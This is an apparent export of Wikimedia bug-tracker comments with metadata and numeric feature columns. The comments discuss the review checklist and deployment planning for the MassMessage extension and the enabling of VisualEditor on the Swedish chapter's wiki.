Currently waiting for a few patches to be reviewed and then I'll send an email to wikitech-l.",,,1379462355,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,4.0,9.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,3.7872340425531914,0.851063829787234,"I just spent a few minutes talking with Chris who said he would be able to do a security review of the extension this week.

Currently waiting for a few patches to be reviewed and then I'll send an email to wikitech-l."
251291,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #11)
> (In reply to comment #9)
> >> Not sure this is relevant as this extension isn't really user-facing, but if
> >> you want to find someone to review the design, go for it.
> > 
> > Well, for some definition of user, right? It has sysop user facing UI. For a
> > design review, the Design mailing list is a good place to start (and then
> > ping until success).
> 
> Lego: please go ahead and e-mail the design mailing list (include a working
> demo of the tool, of course). If they have constructive feedback, wonderful.
> Otherwise, I don't consider this a blocker to deployment.
> 

Email sent to design list: http://lists.wikimedia.org/pipermail/design/2013-September/000923.html",,,1379461042,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,8.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.425,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Email sent to design list: URL"
251286,Review and deploy MassMessage extension to Wikimedia wikis,CC'ing Dan Garry (new Platform PM). No action needed Dan (yet ;) ). Just using this as a way to remind us to talk about this work and how you'll interface with it.,,,1379002862,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,12.0,12.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,3.275,0.825,CC'ing Dan Garry (new Platform PM). No action needed Dan (yet ;) ). Just using this as a way to remind us to talk about this work and how you'll interface with it.
251281,Review and deploy MassMessage extension to Wikimedia wikis,"The goal is to get this extension deployed (to phase 0 wikis) by the end of September. I'm not sure if this will be possible, but I've tentatively added it to the deployments calendar for September 30: <https://wikitech.wikimedia.org/w/index.php?diff=83188&oldid=83134#Near_term>.

Lego: feel free to move the date into October if necessary.",,,1378777053,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,3.0,13.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,5.0,17.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.6666666666666665,0.8166666666666667,"The goal is to get this extension deployed (to phase 0 wikis) by the end of September. I'm not sure if this will be possible, but I've tentatively added it to the deployments calendar for September 30: <URL

Lego: feel free to move the date into October if necessary."
251276,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #9)
>> Not sure this is relevant as this extension isn't really user-facing, but if
>> you want to find someone to review the design, go for it.
> 
> Well, for some definition of user, right? It has sysop user facing UI. For a
> design review, the Design mailing list is a good place to start (and then
> ping until success).

Lego: please go ahead and e-mail the design mailing list (include a working demo of the tool, of course). If they have constructive feedback, wonderful. Otherwise, I don't consider this a blocker to deployment.

>> Greg: how do we get this extension reviewed for architecture/performance and
>> security?
> 
> First pass would be to send a note to wikitech-l asking for help.
> Unfortunately, this week is a combined Tech Days and All Hands so WMF tech
> staff will be slower to respond than normal, but I know you know who to ping
> as needed (Aaron/Tim for arch, Chris for security).

Lego: please go ahead and e-mail wikitech-l asking for a review once you're ready and you've done your best to ensure that the extension is in a reviewable state. Test rigorously!

If you could cross-reference these two mailing list posts on this bug, that would be wonderful.

> Well, if there are any userfacing bits (even for non-mortals), then it'd be
> good to have a walk-through of how the extension is supposed to work/what the
> process is. Think of it as a required bit of user documentation :)

If you write docs about how to create one of these mythical screencasts, I'll consider it. In the meantime, over a decade of development has progressed without these being a requirement. We're not going to start with this extension. :-)

>>> Community support: no?
>> 
>> Yes, plenty of it.
> 
> Awesome. I believe you, but would appreciate links to where discussion has
> happened.

This request is a blocker to bug 35306. It falls outside the requirement for community consensus as it's an obvious and uncontroversial enhancement request; it is replacing a non-production, largely unsupported tool (i.e., the Python script that currently powers [[m:Global message delivery]]); and it has limited exposure (only admins will have access by default, and even most admins won't use this tool... for now).

Bug 35306 gives most of the background here, but it's probably reasonable for me to point out that many (if not most) global message deliveries are connected to Wikimedia Foundation staff. The targets lists at [[m:Global message delivery/Targets]] comprise hundreds (maybe thousands) of users who have signed up for various newsletters and other mailings, in addition to a number of distribution lists used by Wikimedia volunteers and staff (including technical announcements and other breaking changes announced to [[m:Distribution list/Global message delivery]]). You could consider this a third or fourth exemption to the community consensus guideline, if you'd like. ;-)",,,1378776753,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0.2,0.0,0.0,0.2,0.8,5.2,0.8,0.0,0.0,1.0,1.4,1.4,0.0,0.2,0.0,0.8,0.0,3.2,9.8,0.0,1.2,0.0,0.0,0.0,0.2,0.4,0.0,0.6,0.4,0.8,0.2,4.2,0.8,1.2,1.0,1.4,0.0,0.0,0.0,0.8,0.0,0.2,0.4,3.2,0.0,0.2,0.0,0.2,0.2,15.2,0.4,1.8,0.0,0.6,0.2,0.2,0.0,0.6,0.6,0.0,0.2,0.6,0.0,0.2,0.0,0.4,0.0,4.2,1.2,9.8,1.8,2.4,6.2,0.0,0.4,0.2,0.2,4.0,0.4,1.0,0.0,3.6,9.8,4.4,0.0,0.0,0.0,3.6,0.0,0.6,2.2,0.2,1.2,0.0,0.8,2.2,3.994336525307798,0.7187140902872777,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Lego: please go ahead and e-mail the design mailing list (include a working demo of the tool, of course). If they have constructive feedback, wonderful. Otherwise, I don't consider this a blocker to deployment.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Lego: please go ahead and e-mail wikitech-l asking for a review once you're ready and you've done your best to ensure that the extension is in a reviewable state. Test rigorously!

If you could cross-reference these two mailing list posts on this bug, that would be wonderful.

QUOTE
QUOTE
QUOTE

If you write docs about how to create one of these mythical screencasts, I'll consider it. In the meantime, over a decade of development has progressed without these being a requirement. We're not going to start with this extension. :-)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This request is a blocker to bug 35306. It falls outside the requirement for community consensus as it's an obvious and uncontroversial enhancement request; it is replacing a non-production, largely unsupported tool (i.e., the Python script that currently powers [[m:Global message delivery]]); and it has limited exposure (only admins will have access by default, and even most admins won't use this tool... for now).

Bug 35306 gives most of the background here, but it's probably reasonable for me to point out that many (if not most) global message deliveries are connected to Wikimedia Foundation staff. The targets lists at [[m:Global message delivery/Targets]] comprise hundreds (maybe thousands) of users who have signed up for various newsletters and other mailings, in addition to a number of distribution lists used by Wikimedia volunteers and staff (including technical announcements and other breaking changes announced to [[m:Distribution list/Global message delivery]]). You could consider this a third or fourth exemption to the community consensus guideline, if you'd like. ;-)"
251269,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #9)
> > 
> > > Community support: no?
> > 
> > Yes, plenty of it.
> 
> Awesome. I believe you, but would appreciate links to where discussion has
> happened.

Long wanted feature to not have to have bots making tens/thousands of edits onwiki. Not sure a discussion par se would have happened.. (if one has, great)

To users, it really doesn't matter where it comes from.",,,1378768971,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,11.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,11.0,8.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.380281690140845,0.6901408450704225,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Long wanted feature to not have to have bots making tens/thousands of edits onwiki. Not sure a discussion par se would have happened.. (if one has, great)

To users, it really doesn't matter where it comes from."
251266,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #8)
> Thanks for writing out a checklist.

:)

> (In reply to comment #7)
> > == TODO/Check list ==
> > Extension page on mediawiki.org: yes
> > Bugzilla component: yes
> > Extension in Gerrit: yes
> 
> Right.
> 
> > Design Review: no
> 
> Not sure this is relevant as this extension isn't really user-facing, but if
> you want to find someone to review the design, go for it.

Well, for some definition of user, right? It has sysop user facing UI. For a design review, the Design mailing list is a good place to start (and then ping until success).

> 
> > Architecture/Performance Review: no
> > Security Review: no
> 
> These are the two areas needed here.
> 
> Greg: how do we get this extension reviewed for architecture/performance and
> security?

First pass would be to send a note to wikitech-l asking for help. Unfortunately, this week is a combined Tech Days and All Hands so WMF tech staff will be slower to respond than normal, but I know you know who to ping as needed (Aaron/Tim for arch, Chris for security).

> 
> > Screencast (if applicable): no
> 
> Not sure what this is about. It seems irrelevant.

Well, if there are any userfacing bits (even for non-mortals), then it'd be good to have a walk-through of how the extension is supposed to work/what the process is. Think of it as a required bit of user documentation :)

> 
> > Community support: no?
> 
> Yes, plenty of it.

Awesome. I believe you, but would appreciate links to where discussion has happened.",,,1378768315,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,1.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,1.6666666666666667,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,9.333333333333334,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,3.6666666666666665,2.3333333333333335,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,13.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.3333333333333335,3.0,17.333333333333332,1.3333333333333333,1.3333333333333333,4.666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,9.333333333333334,11.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,1.6666666666666667,2.0,0.0,1.0,0.3333333333333333,0.0,0.0,3.4116769547325103,0.6477366255144034,"(In reply to comment #8)
QUOTE

:)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, for some definition of user, right? It has sysop user facing UI. For a design review, the Design mailing list is a good place to start (and then ping until success).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

First pass would be to send a note to wikitech-l asking for help. Unfortunately, this week is a combined Tech Days and All Hands so WMF tech staff will be slower to respond than normal, but I know you know who to ping as needed (Aaron/Tim for arch, Chris for security).

QUOTE
QUOTE
QUOTE
QUOTE

Well, if there are any userfacing bits (even for non-mortals), then it'd be good to have a walk-through of how the extension is supposed to work/what the process is. Think of it as a required bit of user documentation :)

QUOTE
QUOTE
QUOTE
QUOTE

Awesome. I believe you, but would appreciate links to where discussion has happened."
251262,Review and deploy MassMessage extension to Wikimedia wikis,"Thanks for writing out a checklist.

(In reply to comment #7)
> == TODO/Check list ==
> Extension page on mediawiki.org: yes
> Bugzilla component: yes
> Extension in Gerrit: yes

Right.

> Design Review: no

Not sure this is relevant as this extension isn't really user-facing, but if you want to find someone to review the design, go for it.

> Architecture/Performance Review: no
> Security Review: no

These are the two areas needed here.

Greg: how do we get this extension reviewed for architecture/performance and security?

> Screencast (if applicable): no

Not sure what this is about. It seems irrelevant.

> Community support: no?

Yes, plenty of it.",,,1378423432,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,9,,0.0,0.5,0.0,0.0,2.0,3.0,2.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,4.0,7.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,2.5,1.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,12.0,2.5,1.5,1.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.5,1.5,1.5,5.5,0.0,0.0,0.0,0.5,3.5,1.0,1.5,0.0,4.0,7.5,2.0,1.0,0.0,0.0,4.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,3.5,0.7192982456140351,"Thanks for writing out a checklist.

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Right.

QUOTE

Not sure this is relevant as this extension isn't really user-facing, but if you want to find someone to review the design, go for it.

QUOTE
QUOTE

These are the two areas needed here.

Greg: how do we get this extension reviewed for architecture/performance and security?

QUOTE

Not sure what this is about. It seems irrelevant.

QUOTE

Yes, plenty of it."
251258,Review and deploy MassMessage extension to Wikimedia wikis,"Hello, this is a quasi-automated-but-not-really message:

I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
https://bugzilla.wikimedia.org/showdependencytree.cgi?id=31235&hide_resolved=1

The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.

Also, if you haven't yet done so, please review the information on and linked to from:
https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment


== TODO/Check list ==
Extension page on mediawiki.org: yes
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: no
Archeticecture/Performance Review: no
Security Review: no
Screencast (if applicable): no
Community support: no?",,,1378415175,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,9,,1.5,1.0,0.0,0.0,1.0,3.5,1.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,2.5,0.0,4.5,8.5,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,3.5,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,10.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,14.5,1.5,2.5,7.5,0.0,0.0,0.0,0.0,4.5,4.0,0.0,0.0,3.5,8.5,9.5,0.5,0.0,0.0,3.5,0.0,1.0,0.5,1.0,1.0,0.0,0.0,2.0,3.7010869565217392,0.6902173913043479,"Hello, this is a quasi-automated-but-not-really message:

I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
URL

The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.

Also, if you haven't yet done so, please review the information on and linked to from:
URL


== TODO/Check list ==
Extension page on mediawiki.org: yes
Bugzilla component: yes
Extension in Gerrit: yes
Design Review: no
Archeticecture/Performance Review: no
Security Review: no
Screencast (if applicable): no
Community support: no?"
251253,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #5)
> Hi Legoktm, I see that http://www.mediawiki.org/wiki/Extension:MassMessage
> exists but where is its bugtracker? See
> https://www.mediawiki.org/wiki/Bug_management/Project_Maintainers#To_add_a_project_or_component

Filed as bug 52730.",,,1376239786,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.8,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Filed as bug 52730."
251246,Review and deploy MassMessage extension to Wikimedia wikis,"Hi Legoktm, I see that http://www.mediawiki.org/wiki/Extension:MassMessage exists but where is its bugtracker? See https://www.mediawiki.org/wiki/Bug_management/Project_Maintainers#To_add_a_project_or_component",,,1376238095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,38.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.9375,"Hi Legoktm, I see that URL exists but where is its bugtracker? See URL"
251240,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #1)
> (see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])
The correct link is [[User talk:EdwardsBot/Archive 1#LQT compatibility]].",,,1376235918,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.3214285714285716,0.8928571428571429,"(In reply to comment #1)
QUOTE
The correct link is [[User talk:EdwardsBot/Archive 1#LQT compatibility]]."
251235,Review and deploy MassMessage extension to Wikimedia wikis,"For reference: <https://gerrit.wikimedia.org/r/#/q/project:mediawiki/extensions/MassMessage+status:open,n,z>.",,,1376229430,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.4,1.0,For reference: <URL
251229,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #1)
> Does it have the same problem as the global message delivery system on wikis
> which use LiquidThreads?
> (see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])

The real bug is that those wikis are still using LiquidThreads. :-)

But if you want to add a dependency bug about MassMessage supporting LiquidThreads, it shouldn't be too painful to code.",,,1376228263,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,13.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,17.0,4.0,2.0,6.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,0.0,4.0,13.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.826923076923077,0.8076923076923077,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

The real bug is that those wikis are still using LiquidThreads. :-)

But if you want to add a dependency bug about MassMessage supporting LiquidThreads, it shouldn't be too painful to code."
251221,Review and deploy MassMessage extension to Wikimedia wikis,"Does it have the same problem as the global message delivery system on wikis which use LiquidThreads?
(see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])",,,1376224547,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,14.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,4.027777777777778,0.8888888888888888,"Does it have the same problem as the global message delivery system on wikis which use LiquidThreads?
(see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])"
54713,Enable VisualEditor on se.wikimedia.org,"The Swedish chapter would like to get the VisualEditor enabled on their wiki at se.wikimedia.org. 

Poll here: http://se.wikimedia.org/wiki/Tråd:Wikimedia:Bybrunnen/VisualEditor_och_Notifications

/Jan
CEO

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1376178900,1386022170.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-sflxt54msumq4ifieh2r,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.155555555555556,0.7111111111111111,"The Swedish chapter would like to get the VisualEditor enabled on their wiki at se.wikimedia.org. 

Poll here: URL

/Jan
CEO

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
250311,Enable VisualEditor on se.wikimedia.org,"This is now live - you can opt in to test VisualEditor using the Beta Features link in your personal tools at the top of the page, or through the Preferences link in the ""Beta Features"" tab.

If there are any issues, please shout!",,,1386022170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,True,,,22,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,16.0,2.0,2.0,14.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,4.0,16.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6862745098039214,0.7843137254901961,"This is now live - you can opt in to test VisualEditor using the Beta Features link in your personal tools at the top of the page, or through the Preferences link in the ""Beta Features"" tab.

If there are any issues, please shout!"
250307,Enable VisualEditor on se.wikimedia.org,"Change 97714 merged by jenkins-bot:
Enable VisualEditor as opt-in on Swedish Wikimedia

